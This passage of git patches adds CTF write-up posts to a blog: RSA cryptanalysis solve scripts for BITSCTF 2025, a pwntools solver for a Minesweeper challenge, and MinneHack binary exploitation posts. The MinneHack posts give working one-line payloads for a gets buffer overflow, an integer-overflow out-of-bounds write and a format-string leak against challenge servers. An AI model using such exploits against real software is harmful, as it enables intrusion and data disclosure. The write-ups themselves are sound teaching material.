+ +We are given `e, n, ct` as in standard RSA and `K = (A*p**2 - C*p + D)*d`, where `p, d` are as in standard RSA and +```py +C = 0xbaaaaaad +D = 0xdeadbeef +A= 0xbaadf00d +``` +Our goal is to decrypt `ct`. + +### Solution + +Since there is a factor of `d` in `K`, it's natural to consider what happens when we take \\(2^\{Ke\}\bmod n\\): +\\[\begin\{align*\} + 2^\{Ke\} &\equiv 2^\{(Ap^2 - Cp + D)de\}\pmod n + \\\\ &\equiv 2^\{Ap^2 - Cp + D\}\pmod n +\end\{align*\}\\] +We have \\(Ap^2 + Cp + D\equiv A - C + D\pmod\{p - 1\}\\), so +\\[2^\{Ke\} \equiv 2^\{Ap^2 - Cp + D\} \equiv 2^\{A - C + D\}\pmod p.\\] +Hence, \\(2^\{Ke\} - 2^\{A - C + D\}\\) has a factor of \\(p\\), so we can obtain \\(p\\) by taking +\\[\gcd(2^\{Ke\} - 2^\{A - C + D\}, n) = p.\\] +From this we derive the prime factorization of \\(n\\), and standard RSA decryption follows. + +Flag: `BITSCTF{I_H0P3_Y0UR3_H4V1NG_FUN_S0_F4R_EHEHEHEHEHO_93A5B675}` + +The final solve script can be found here. diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/solve.py b/src/content/blog/bitsctf2025-noob-rsa-returns/solve.py new file mode 100644 index 0000000..2874d1b --- /dev/null +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/solve.py @@ -0,0 +1,19 @@ +import math +import binascii + +e = 65537 +n = 94391578028846794543970306963076155289398888845132329034244336898352288130614402434536624297683695128972774452047972797577299176726976054101512298009248486464357336027594075427866979990479026404794249095503495046303993475122649145761379383861274918580282133794104162177538259963029805672413580517485119968223 +ct = 39104570513649572073989733086496155533723794051858605899505397827989625611665929344072330992965609070817627613891751881019486310635360263164859429539044097039969287153948226763672953863052936937079161030077852648023719781006057880499973169570114083902285555659303311508836688226455433255342509705736365222119 +K = 20846957286553798859449981607534380028938425515469447720112802165918184044375264023823946177012518880630631981155207307372567493851397122661053548491580627249805353321445391571601385814438186661146844697737274273249806871709168307518276727937806212329164651501381607714573451433576078813716191884613278097774416977870414769368668977000867137595804897175325233583378535207450965916514442776136840826269286229146556626874736082105623962789881101475873449157946816513513532838149452759771630220014344325387486921028690085783785067988074331005737389865053848981113695310344572311901555735038842261745556925398852334383830822697851 +C = 0xbaaaaaad +D = 0xdeadbeef +A = 0xbaadf00d + +p = math.gcd(pow(2, A - C + D, n) - pow(2, e * K, n), n) +q = n // p + +d = pow(e, -1, (p - 1) * (q - 1)) + +print(binascii.unhexlify(hex(pow(ct, d, n))[2:])) + +# Flag: BITSCTF{I_H0P3_Y0UR3_H4V1NG_FUN_S0_F4R_EHEHEHEHEHO_93A5B675} From 9012e92646df196203122ef15eafbb7c402a2e18 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Fri, 14 Feb 2025 02:58:58 -0600 Subject: [PATCH 14/21] bitsctf2025-rsa-bummer --- .../blog/bitsctf2025-rsa-bummer/index.mdx | 120 +++++++++++++----- .../blog/bitsctf2025-rsa-bummer/solve.sage | 21 +++ 2 files changed, 112 insertions(+), 29 deletions(-) create mode 100644 src/content/blog/bitsctf2025-rsa-bummer/solve.sage diff --git a/src/content/blog/bitsctf2025-rsa-bummer/index.mdx b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx index 7e07848..5cd7d5a 100644 --- a/src/content/blog/bitsctf2025-rsa-bummer/index.mdx +++ b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx @@ -1,13 +1,14 @@ --- title: "BITSCTF 2025: RSA Bummer" -date: 2025-02-02T11:56:00.487Z -draft: true +date: 2025-02-14T08:57:16.633Z +draft: false author: dajeff tags: [crypto] --- import css from "css/styles.css?url"; import chall from "./chall.py?url"; +import solveScript from "./solve.sage?url"; +Why does this code work? + +Assume that \\(\gcd(e/4, p - 1) = 1\\); see the comment after this section if not. Let \\(\mathrm\{pt\}, \mathrm\{ct\}\\) be the plaintext and ciphertext respectively. Let \\(\mathrm\{d\} := (e/4)^\{-1\}\bmod\{p - 1\}\\). Then, +\\[\begin\{align*\} + \mathrm\{pt\}^e &\equiv \mathrm\{ct\}\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^\{e/4\cdot 4\} &\equiv \mathrm\{ct\}\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^\{(e/4\cdot d)\cdot 4\} &\equiv \mathrm\{ct\}^d\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^4 &\equiv \mathrm\{ct\}^d\pmod\{p - 1\}. +\end\{align*\}\\] +If \\(\mathrm\{pt\}\\) is small enough we can compute \\(\sqrt[4]\{\mathrm\{ct\}^d\bmod\{p - 1\}\}\\) to retrieve the flag. In fact, this is an alternative approach; try it! What happens if you replace `isqrt(pow(c1, d * (p + 1) // 4, p))` with `isqrt(isqrt(pow(c1, d, p)))` in the above code/in the solve script? + +If \\(\mathrm\{pt\}\\) is not small enough and \\(p\equiv 3\pmod 4\\), we can note +\\[\begin\{align*\} + \mathrm\{pt\}^4 &\equiv \mathrm\{ct\}^d\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^\{4\cdot (p + 1)/4\} &\equiv \mathrm\{ct\}^\{d(p + 1)/4\}\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^\{p + 1\} &\equiv \mathrm\{ct\}^\{d(p + 1)/4\}\pmod\{p - 1\} + \\\\ \mathrm\{pt\}^2 &\equiv \mathrm\{ct\}^\{d(p + 1)/4\}\pmod\{p - 1\} +\end\{align*\}\\] +and compute a potential plaintext \\(\sqrt\{\mathrm\{ct\}^\{d(p + 1)/4\}\bmod\{p - 1\}\}\\). + -### Note -The above is finished; the below is unfinished. Essentially, observe that for the above output `lucky`, `lucky * factorial(k - 1) * factorial(k) + 1` has `r` as a factor, so take `r = gcd(large, pseudo_n)`, find `modulo, p` by factoring `(lucky * factorial(k - 1) * factorial(k) + 1) / r`, and solve the RSA modulo `p`. +If the GCD is not a power of \\(2\\) (e.g. the GCD contains a factor of \\(5\\)), we can instead compute something like \\(d = (e/20)^\{-1\}\bmod\{p - 1\}\\) and take the tenth root of the result instead of the square root. Flag: `BITSCTF{s0_fun_7o_50lv3_5ef78a03}` + +The final solve script can be found here. diff --git a/src/content/blog/bitsctf2025-rsa-bummer/solve.sage b/src/content/blog/bitsctf2025-rsa-bummer/solve.sage new file mode 100644 index 0000000..876adf8 --- /dev/null +++ b/src/content/blog/bitsctf2025-rsa-bummer/solve.sage @@ -0,0 +1,21 @@ +import binascii + +lucky = 5013846788728970106981286568035850741510050958651719688793565241746763951237597385789456422355290131911960893124306704535430840764505962087579852251387223473408382775532681027486642795845613056526111047319999052391171988132594264091105556738766092622128123234218481277217365462624251865908413965413703317915494455334209190162571673453780337597871238287728383297279201323086922663893401420724242318735169522781251476879432026866527168584211903251695041263496038018323762440787331977006619381253641478882038701393969473301303678923181843766561832650727043140511451419703017904887191617608727752859093957833065767210051 +k = 13 +e = 27525540 +pseudo_n = 3672685976961427507706004054211102577972167816612062181518882286694201713846759482100827973746784254727475570666256894906681709339375568083176910393690918780073114269896949883285059932339023849625810248507630546308016161401323866556389393905714479653469618086681283261241281397980400706704958772974753693623685347183779404272034838604269726850643687084447907083264794157966978902364542733221786951430287950832744666120056180991084960618153811657561716044337945777269039112335562114258636394740930574208810355038664059088166802749927732097228322831156069613320380039613285944281471713567345052465978425447461909713502 +c1 = 10039790652274495287605494121292513701495940708879789361093986736574618005715527880145580629644188709040032351233763086363223715706569924092355719339512961042999244069436780067611071975072213255810466192068467997678927266887625596806747692481529683833062938270979896091292468374454418080893385923359795004178221091048771106727737368795409816473851057604608960889412590260974447771304348106478275601988726600732372076261841283014123554478881153538480498719467970937905853035655422166181972027858282109531189290215746126683011430063771748604179386034469560560322630110734400546328692620522803941622036440770316457790785 +c2 = 3878077718359639985889885708974493649653934533226748951278435983193494754766579254492904349015316145536885275177394801617403472035810710858997843924589624071534324205537770907693032134364911461119654449259230364035279169105761790548936372848152912237950362451667426575097833064495280527903432676141247420086825243713191732632139995609011489480702579845551920055762923628308165794627132778051628226340040188250410593069266471183578462595930795047514667268832886670402717616769851403206757689505927825653280755877825538372122833481289861952438895394984317846638317277066191238675504047323918020150977228174700772809886 +c3 = 1222153265002643977493185106996635757020248751993618168041994060290312371476936627430189521016840240445585554066172584747392328048658689295863122043152657992762783803932376076206258813563432178965443062457680203320112517148647887355173875565175129183001754569240253948103325085417161790055263590425428384687534654539924803267439719863543088651184518830109932299211013533276352086433243511745339007622569864692979885074845938539847631755086437594822120075022489700112177479347416328326398920181694178947902913688186398878420060090509327099205596360493636603603612976557410863072103354450071492253794074988850996081954 + +large = lucky * factorial(k - 1) * factorial(k) + 1 +r = gcd(large, pseudo_n) +# print("large / r:", factor(large / r)) + +p = 97024739464998702506669770040122555405744744329112361431296849602425176888706677027168942602346601410275677551642583542221372889929921169129152046628767518204950634335610816971646728944584206197909423063817745571547831875610836246031230531848786470473211134081105553332730836486257401821895577462008987410887 +# print("GCD:", gcd(e, p - 1)) +d = pow(e // 4, -1, p - 1) + +print(binascii.unhexlify(hex(isqrt(pow(c1, d * (p + 1) // 4, p)))[2:]) + binascii.unhexlify(hex(isqrt(pow(c2, d * (p + 1) // 4, p)))[2:]) + binascii.unhexlify(hex(isqrt(pow(c3, d * (p + 1) // 4, p)))[2:])) + +# Flag: BITSCTF{s0_fun_7o_50lv3_5ef78a03} From 06ce5f00027682a216a0f6c749d9412e73119496 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Fri, 14 Feb 2025 03:00:42 -0600 Subject: [PATCH 15/21] bitsctf2025-noob-rsa-returns remove unnecessary css --- src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css | 4 ---- 1 file changed, 4 deletions(-) diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css b/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css index 3313ba2..d1214b5 100644 --- a/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css @@ -2,7 +2,3 @@ code { color: #e83e8c; word-wrap: break-word; } - -.center { - text-align: center; -} From 7dfd2a240f8f26d580a8f42d5ba70b1ab4d075a6 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Fri, 14 Feb 2025 03:17:07 -0600 Subject: [PATCH 16/21] bitsctf2025-minesweeper-2 --- .../blog/bitsctf2025-minesweeper-2/README.md | 13 ++++ .../bitsctf2025-minesweeper-2/css/styles.css | 4 ++ .../blog/bitsctf2025-minesweeper-2/index.mdx | 51 +++++++++++++ .../blog/bitsctf2025-minesweeper-2/solve.py | 71 +++++++++++++++++++ 4 files changed, 139 insertions(+) create mode 100644 src/content/blog/bitsctf2025-minesweeper-2/README.md create mode 100644 src/content/blog/bitsctf2025-minesweeper-2/css/styles.css create mode 100644 src/content/blog/bitsctf2025-minesweeper-2/index.mdx create mode 100644 src/content/blog/bitsctf2025-minesweeper-2/solve.py diff --git a/src/content/blog/bitsctf2025-minesweeper-2/README.md b/src/content/blog/bitsctf2025-minesweeper-2/README.md new file mode 100644 index 0000000..4092951 --- /dev/null +++ b/src/content/blog/bitsctf2025-minesweeper-2/README.md @@ -0,0 +1,13 @@ +RULES: + +In Minesweeper 2 you have board filled with hints about where the mines are and you have to clear or sweep them off, each tile shows the sum of the mines around it (4 adjacent neighbors). + +Each tile may contain any number of mines. + +Each move you must enter a coordinate, indexed with 0 0 in the top left. (ex: `1 2` or `22 13`) + +If a mine is present at the coords it will clear it other wise print miss. If there are multiple mines in a tile you must clear all of them. The goal is to clear all mines in the moves remaining. + +Beat all Levels to get the flag. + +Good Luck! diff --git a/src/content/blog/bitsctf2025-minesweeper-2/css/styles.css b/src/content/blog/bitsctf2025-minesweeper-2/css/styles.css new file mode 100644 index 0000000..d1214b5 --- /dev/null +++ b/src/content/blog/bitsctf2025-minesweeper-2/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e83e8c; + word-wrap: break-word; +} diff --git a/src/content/blog/bitsctf2025-minesweeper-2/index.mdx b/src/content/blog/bitsctf2025-minesweeper-2/index.mdx new file mode 100644 index 0000000..4d1a136 --- /dev/null +++ b/src/content/blog/bitsctf2025-minesweeper-2/index.mdx @@ -0,0 +1,51 @@ +--- +title: "BITSCTF 2025: Minesweeper 2" +date: 2025-02-14T08:57:16.633Z +draft: true +author: dajeff +tags: [crypto] +--- + +import css from "css/styles.css?url"; +import readme from "./README.md?url"; +import solveScript from "./solve.py?url"; + + + + + + +> Minesweeper has a wierd name don't you think you don't actually sweep any mines in it so I decided to make it better. +> +> `nc chals.bitskrieg.in 7006` +> +>> dipper +> +>
+> README.md +>
+ +A \\(m\times n\\) board yields a system of linear equations in \\(mn\\) variables. Each variable \\(a_\{ij\}\\) represents the number of mines at row \\(i\\), column \\(j\\). Each equation sets a constraint on how many mines can be at a location's neighbors based on the number in its tile. For example, if there are \\(b_\{23\}\\) mines adjacent to a non-edge tile at row \\(2\\), column \\(3\\), the correpsonding equation is +\\[a_\{13\} + a_\{22\} + a_\{33\} + a_\{24\} = b_\{23\}.\\] + +Normally, such systems are solved using Gaussian elimination in \\(O((mn)^3)\\). Luckily, our system of equations is very sparse, so `scipy.sparse` can solve the system more quickly. + +Flag: `BITSCTF{D0_u_y34rn_f0R_th3_m1n3s?}` + +The final solve script can be found here. diff --git a/src/content/blog/bitsctf2025-minesweeper-2/solve.py b/src/content/blog/bitsctf2025-minesweeper-2/solve.py new file mode 100644 index 0000000..a05504b --- /dev/null +++ b/src/content/blog/bitsctf2025-minesweeper-2/solve.py @@ -0,0 +1,71 @@ +from itertools import count + +from pwn import * +from scipy.sparse import csc_matrix +from scipy.sparse.linalg import spsolve + + +directions = (-1, 0), (0, -1), (0, 1), (1, 0) + +p = remote("chals.bitskrieg.in", 7005) + +print(p.recvline()) # welcome to Minesweeper 2! +print(p.recvline()) # + +try: + for lvl in range(100): + # Level 1: 3x4 + print(line := p.recvline()) + r, c = map(int, line.split(b": ")[1].split(b"x")) + + print(p.recvline()) # You have 65536 moves left! + print(p.recvline()) # + print(p.recvline()) # Here is your board: + + board = [] + data = [] + rows = [] + cols = [] + for i in range(r): + print(line := p.recvline()) # 0 13 0 9 + board.extend(map(int, line.split())) + for j in range(c): + for dr, dc in directions: + nr = i + dr + nc = j + dc + if 0 <= nr < r and 0 <= nc < c: + data.append(1) + rows.append(i * c + j) + cols.append(nr * c + nc) + + print("Constructing matrices") + A = csc_matrix((data, (rows, cols)), dtype=int) + print("Constructed A") + B = csc_matrix((board, (range(r * c), [0] * (r * c))), dtype=int) + print("Constructed B") + x = spsolve(A, B) + print("Solved", x) + + print("Sending about", sum(board) // 4, "lines") + cnt = 0 + for i in range(r * c): + rr, cc = divmod(i, c) + for _ in range(round(x[i])): + p.sendline(bytes(f"{rr} {cc}", "utf-8")) + cnt += 1 + + if i % c == 0: + p.recv(10 ** 9) + print(cnt) + time.sleep(0.5) + print("Sent", cnt, "lines") + + print(p.recvuntil(b"You have cleared the level!\n")) + print(p.recvline()) # +except Exception as e: + print("Exception", e) + print(cnt, "guesses used") + for i in count(): + print(i, p.recvline()) + +# Flag: BITSCTF{D0_u_y34rn_f0R_th3_m1n3s?} From 9b73a01c911e24871db8b6fe55e57759ed71106b Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Fri, 14 Feb 2025 03:18:45 -0600 Subject: [PATCH 17/21] bitsctf2025-minesweeper-2 make not draft and update time --- src/content/blog/bitsctf2025-minesweeper-2/index.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/blog/bitsctf2025-minesweeper-2/index.mdx b/src/content/blog/bitsctf2025-minesweeper-2/index.mdx index 4d1a136..8bb84bb 100644 --- a/src/content/blog/bitsctf2025-minesweeper-2/index.mdx +++ b/src/content/blog/bitsctf2025-minesweeper-2/index.mdx @@ -1,7 +1,7 @@ --- title: "BITSCTF 2025: Minesweeper 2" -date: 2025-02-14T08:57:16.633Z -draft: true +date: 2025-02-14T09:17:45.068Z +draft: false author: dajeff tags: [crypto] --- From 7600da3a94b160fcfac4e559b089968f96f85d71 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Fri, 14 Feb 2025 18:32:41 -0600 Subject: [PATCH 18/21] update package-lock.json --- package-lock.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package-lock.json b/package-lock.json index e8c284e..925d3c5 100644 --- a/package-lock.json +++ b/package-lock.json @@ -22,7 +22,7 @@ "qrcode-svg": "^1.1.0", "rehype-katex": "^7.0.1", "remark-math": "^6.0.0", - "typescript": "^5.7.2" + "typescript": "^5.0.0" }, "devDependencies": { "@rollup/plugin-yaml": "^4.1.2", From e92a5a7952fdbdf978c14baeeb9ec167dc366b1b Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 15 Feb 2026 20:34:17 -0600 Subject: [PATCH 19/21] minnehack-ctf-binary-exploitation Gets --- .../css/styles.css | 4 ++ .../index.mdx | 48 +++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css create mode 100644 src/content/blog/minnehack-ctf-binary-exploitation/index.mdx diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css new file mode 100644 index 0000000..d1214b5 --- /dev/null +++ b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e83e8c; + word-wrap: break-word; +} diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx new file mode 100644 index 0000000..2dc41d8 --- /dev/null +++ b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx @@ -0,0 +1,48 @@ +--- +title: "MinneHack CTF: Binary Exploitation" +date: 2026-02-16T02:25:22+00:00 +draft: true +author: dajeff +tags: [pwn] +--- + +import css from "css/styles.css?url"; +import readme from "./README.md?url"; +import solveScript from "./solve.py?url"; + + + +### Gets + +### Points: [50] + +> This category, we'll give you the source code for a Linux program written in C or another language. Your goal is to find a bug that allows you to trick it into printing the flag. Compile and run it on your own computer to develop an attack. +> ```c +> #include +> +> typedef struct { +> char buf[256]; +> int print_flag; +> } vars_t; +> +> int main() { +> vars_t v = {0}; +> printf("> "); +> gets(v.buf); +> if (v.print_flag != 0) { +> printf("flag{...}\n"); +> } +> } +> ``` +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -ansi -O0` on Ubuntu 24.04. +> +> ```sh +> $ ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A +> ``` + +We can fill `buf` with 256 `a`'s and overwrite `print_flag` with a 257th `a`: +```sh +python3 -c "print('a'*257)" | ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A +``` + +Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}` From 8a16680786dafed945cfbcd3e2f9d0d3626f7209 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 15 Feb 2026 23:01:33 -0600 Subject: [PATCH 20/21] minnehack-ctf-binary-exploitation --- .../index.mdx | 143 +++++++++++++++++- 1 file changed, 142 insertions(+), 1 deletion(-) diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx index 2dc41d8..cb3bb7e 100644 --- a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx +++ b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx @@ -40,9 +40,150 @@ import solveScript from "./solve.py?url"; > $ ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A > ``` -We can fill `buf` with 256 `a`'s and overwrite `print_flag` with a 257th `a`: +### Solution + +The goal is to overwrite `v.print_flag` to print the flag. + +We can fill `v.buf` with 256 `a`'s and overwrite part of `v.print_flag` with a 257th `a`: ```sh python3 -c "print('a'*257)" | ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A ``` +Flag: `flag{131cdc95-0314-4d81-9f84-de432848c109}` + +--- + +### Grid + +### Points: [50] + +> ```c +> #include +> #include +> +> #define IS_ADMIN (1 << 6) +> +> typedef struct { +> int mode; +> char pixels[1024]; +> } grid_t; +> +> grid_t grid; +> +> void print_grid() { +> for (int y = 0; y < 16; y++) { +> printf("%.32s\n", &grid.pixels[y * 32]); +> } +> if (grid.mode & IS_ADMIN) { +> printf("flag{...}\n"); +> } +> } +> +> int main() { +> grid.mode = 0; +> for (int i = 0; i < 1024; i++) { +> grid.pixels[i] = '?'; +> } +> +> while (1) { +> printf("Current image:\n"); +> print_grid(); +> +> int x; +> int y; +> char c; +> printf("X coordinate of pixel to change: "); +> scanf("%d", &x); +> printf("Y coordinate of pixel to change: "); +> scanf("%d", &y); +> printf("What character to put there: "); +> scanf(" %c", &c); +> +> if (x >= 0 && y >= 0) { +> grid.pixels[y * 32 + x] = c; +> } else { +> printf("Error: out of bounds!\n"); +> } +> } +> } +> ``` +> +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O2` on Ubuntu 24.04. +> +> ```sh +> ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1 +> ``` + +### Solution + +The goal is to overwrite `grid.mode` to print the flag. + +Note that `grid.mode` is below `grid.pixels` on the stack. If there was no condition `x >= 0`, we could set `x = -4` (since +an `int` is 4 bytes) to make `y * 32 + x` negative and overwrite `grid.mode`. + +Since there is a condition, we can instead overflow `y * 32 + x` to a negative integer. Note that `1 << 32 = 4294967296` +overflows to `0` in a signed `int`, so we can set +``` +y = (4294967296 - 32) // 32 = 134217727 +``` +to get `y * 32 = -32`, then add `x = 28` to access `grid.mode` at `-4`. This yields the flag; if it didn't, we should test +`x = 31` due to endianness. + +```sh +python3 -c "print('28\n134217727\n~')" | ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1 +``` + +Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}` + +--- + +### Hello + +### Points: [50] + +> ```c +> #include +> #include +> +> char *the_flag = "flag{...}"; +> +> int main() { +> char *flag_ptr = the_flag; +> char greeting[128] = "Hello, "; +> printf("What is your name? "); +> scanf("%50s", greeting + strlen(greeting)); +> strcat(greeting, "!\n"); +> printf(greeting); +> } +> ``` +> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O0` on Ubuntu 24.04. +> +> ```sh +> ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +> ``` + +### Solution + +The goal is to print the contents at `flag_ptr`. + +The vulnerable line is +```c +printf(greeting); +``` + +Since user input is passed as a format argument (as opposed to the more secure `printf("%s", greeting);`), there is a [format +string vulnerability](https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/). Using format +specifiers in our input, we can print stack "arguments" and leak the stack: +``` +% ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +What is your name? %llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx. +Hello, a.2f.0.8000.32.800.55686d14d008.25202c6f6c6c6548.! +Connection to 128.101.131.184 closed. +``` + +The 8th argument is ASCII and 7th argument looks like a pointer, so we'll print the flag at the 7th argument using `%7$s`: +```sh +python3 -c "print('%7\$s')" | ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x +``` + Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}` From dc3bbb776192b91dc1a9f0ca884d6b1adabd57d1 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 15 Feb 2026 23:03:11 -0600 Subject: [PATCH 21/21] minnehack-ctf-binary-exploitation: update date and draft status --- src/content/blog/minnehack-ctf-binary-exploitation/index.mdx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx index cb3bb7e..1ceb68a 100644 --- a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx +++ b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx @@ -1,7 +1,7 @@ --- title: "MinneHack CTF: Binary Exploitation" -date: 2026-02-16T02:25:22+00:00 -draft: true +date: 2026-02-16T05:02:26Z +draft: false author: dajeff tags: [pwn] ---